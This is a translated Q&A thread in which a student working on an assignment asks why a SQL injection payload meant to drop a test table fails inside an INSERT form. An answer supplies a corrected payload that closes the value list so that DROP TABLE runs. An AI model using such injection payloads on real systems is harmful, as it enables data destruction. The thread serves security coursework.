所以我正在进行一项任务,作为其中的一部分,在一个名为test的表上执行SQL注入,从一个用于在名为students的表中输入值的表单。
我一直在尝试
'; DROP TABLE test; --
我收到此错误
Error: INSERT INTO student (student_id, first_name, last_name, DOB, sex, phone, user_id) VALUES ('nhdb', ''; DROP TABLE test; -- ', '', '', '', '', 'u01')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'; DROP TABLE test; -- ', '', '', '', '', 'u01')'
at line 1
最初我试图删除学生表,但是当我测试用户是否有权删除该表时,存在外键约束问题。所以我把一个名为test的表放在一起,用户可以毫无问题地删除它。
关于我在哪里出错的任何指导?我确定'; DROP TABLE test; --
应该有效。
答案 0 :(得分:0)
它失败了,因为其余的INSERT
- 值在您的示例中被注释掉了。预期七个值,但只提供两个。
还缺少右括号)
。
由于INSERT
失败,DROP
也不会执行。
这应该有效:
', '', '', '', '', ''); DROP TABLE test; --
答案 1 :(得分:0)
INSERT INTO student (student_id, first_name, last_name, DOB, sex, phone, user_id)
VALUES ('nhdb', ''; DROP TABLE test; -- ', '', '', '', '', 'u01')
因为你是:
'nhdb, ''
VALUES
子句中缺少五个参数。这甚至没有开始成为有效的SQL。